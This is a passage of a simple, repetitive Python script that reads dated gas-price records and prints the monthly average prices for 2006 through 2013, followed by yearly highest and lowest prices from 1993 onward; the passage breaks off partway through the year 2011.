',.3f'))\n \n # November\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '11': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '12': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 2007 ===========================\n\ndef avg_per_month_2007(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2007 ---------------')\n # January \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '01': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '02': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '03': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '04': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '05': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '06': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '07': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '08': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '09': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '10': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '11': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices07= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007' and contents[i][0:2] == '12': \n prices07.append(float(contents[i][11:])) \n for i in range(len(prices07)): \n total += prices07[i]\n avg = total / len(prices07) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 2008 ===========================\n\ndef avg_per_month_2008(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2008 ---------------')\n # January \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '01': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '02': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '03': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '04': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '05': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '06': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '07': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '08': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '09': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '10': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '11': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices08= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008' and contents[i][0:2] == '12': \n prices08.append(float(contents[i][11:])) \n for i in range(len(prices08)): \n total += prices08[i]\n avg = total / len(prices08) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2009 ===========================\n\ndef avg_per_month_2009(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2009 ---------------')\n # January \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '01': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '02': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '03': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '04': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '05': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '06': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '07': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '08': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '09': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '10': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '11': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices09= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009' and contents[i][0:2] == '12': \n prices09.append(float(contents[i][11:])) \n for i in range(len(prices09)): \n total += prices09[i]\n avg = total / len(prices09) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2010 =========================== \n\ndef avg_per_month_2010(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2010 ---------------')\n # January \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '01': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '02': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '03': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '04': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '05': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '06': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '07': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '08': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '09': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '10': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '11': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices10= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010' and contents[i][0:2] == '12': \n prices10.append(float(contents[i][11:])) \n for i in range(len(prices10)): \n total += prices10[i]\n avg = total / len(prices10) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2011 =========================== \n\ndef avg_per_month_2011(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2011 ---------------')\n # January \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '01': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '02': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '03': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '04': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '05': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '06': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '07': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '08': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '09': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '10': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '11': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices11= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011' and contents[i][0:2] == '12': \n prices11.append(float(contents[i][11:])) \n for i in range(len(prices11)): \n total += prices11[i]\n avg = total / len(prices11) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2012 ===========================\n\ndef avg_per_month_2012(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2012 ---------------')\n # January \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '01': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '02': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '03': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '04': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '05': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '06': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '07': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '08': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '09': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '10': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '11': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices12= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012' and contents[i][0:2] == '12': \n prices12.append(float(contents[i][11:])) \n for i in range(len(prices12)): \n total += prices12[i]\n avg = total / len(prices12) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 2013 =========================== \n\ndef avg_per_month_2013(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2013 ---------------')\n print('\\nNOTE: 2013\\'s data ends the week of August 26th.')\n # January \n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '01': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('\\nJanuary = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '02': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '03': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '04': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '05': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '06': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '07': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices13= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013' and contents[i][0:2] == '08': \n prices13.append(float(contents[i][11:])) \n for i in range(len(prices13)): \n total += prices13[i]\n avg = total / len(prices13) \n print('August = $' + format(avg, ',.3f'))\n\n# =================== Listing Highest to Lowest Prices Per Year ================\n\ndef high_and_low_per_year(contents):\n print('\\n--------------- The Highest and Lowest Prices of Gas Per Year ---------------')\n # 1993\n prices93 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1993':\n prices93.append(float(contents[i][11:])) \n low = min(prices93)\n high = max(prices93)\n print('\\n1993\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 1994\n prices94 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1994':\n prices94.append(float(contents[i][11:])) \n low = min(prices94)\n high = max(prices94)\n print('\\n1994\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 1995\n prices95 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1995':\n prices95.append(float(contents[i][11:])) \n low = min(prices95)\n high = max(prices95)\n print('\\n1995\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 1996\n prices96 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1996':\n prices96.append(float(contents[i][11:])) \n low = min(prices96)\n high = max(prices96)\n print('\\n1996\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 1997\n prices97 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1997':\n prices97.append(float(contents[i][11:])) \n low = min(prices97)\n high = max(prices97)\n print('\\n1997\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------') \n \n # 1998\n prices98 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998':\n prices98.append(float(contents[i][11:])) \n low = min(prices98)\n high = max(prices98)\n print('\\n1998\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 1999\n prices99 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999':\n prices99.append(float(contents[i][11:])) \n low = min(prices99)\n high = max(prices99)\n print('\\n1999\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------') \n \n # 2000\n prices00 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000':\n prices00.append(float(contents[i][11:])) \n low = min(prices00)\n high = max(prices00)\n print('\\n2000\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------') \n \n # 2001\n prices01 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001':\n prices01.append(float(contents[i][11:])) \n low = min(prices01)\n high = max(prices01)\n print('\\n2001\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 2002\n prices02 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002':\n prices02.append(float(contents[i][11:])) \n low = min(prices02)\n high = max(prices02)\n print('\\n2002\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 2003\n prices03 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003':\n prices03.append(float(contents[i][11:])) \n low = min(prices03)\n high = max(prices03)\n print('\\n2003\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------')\n \n # 2004\n prices04 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004':\n prices04.append(float(contents[i][11:])) \n low = min(prices04)\n high = max(prices04)\n print('\\n2004\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f'))\n print('-------------------------------') \n \n # 2005\n prices05 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005':\n prices05.append(float(contents[i][11:])) \n low = min(prices05)\n high = max(prices05)\n print('\\n2005\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2006\n prices06 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006':\n prices06.append(float(contents[i][11:])) \n low = min(prices06)\n high = max(prices06)\n print('\\n2006\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2007\n prices07 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2007':\n prices07.append(float(contents[i][11:])) \n low = min(prices07)\n high = max(prices07)\n print('\\n2007\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2008\n prices08 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2008':\n prices08.append(float(contents[i][11:])) \n low = min(prices08)\n high = max(prices08)\n print('\\n2008\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2009\n prices09 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2009':\n prices09.append(float(contents[i][11:])) \n low = min(prices09)\n high = max(prices09)\n print('\\n2009\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2010\n prices10 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2010':\n prices10.append(float(contents[i][11:])) \n low = min(prices10)\n high = max(prices10)\n print('\\n2010\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------') \n \n # 2011\n prices11 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2011':\n prices11.append(float(contents[i][11:])) \n low = min(prices11)\n high = max(prices11)\n 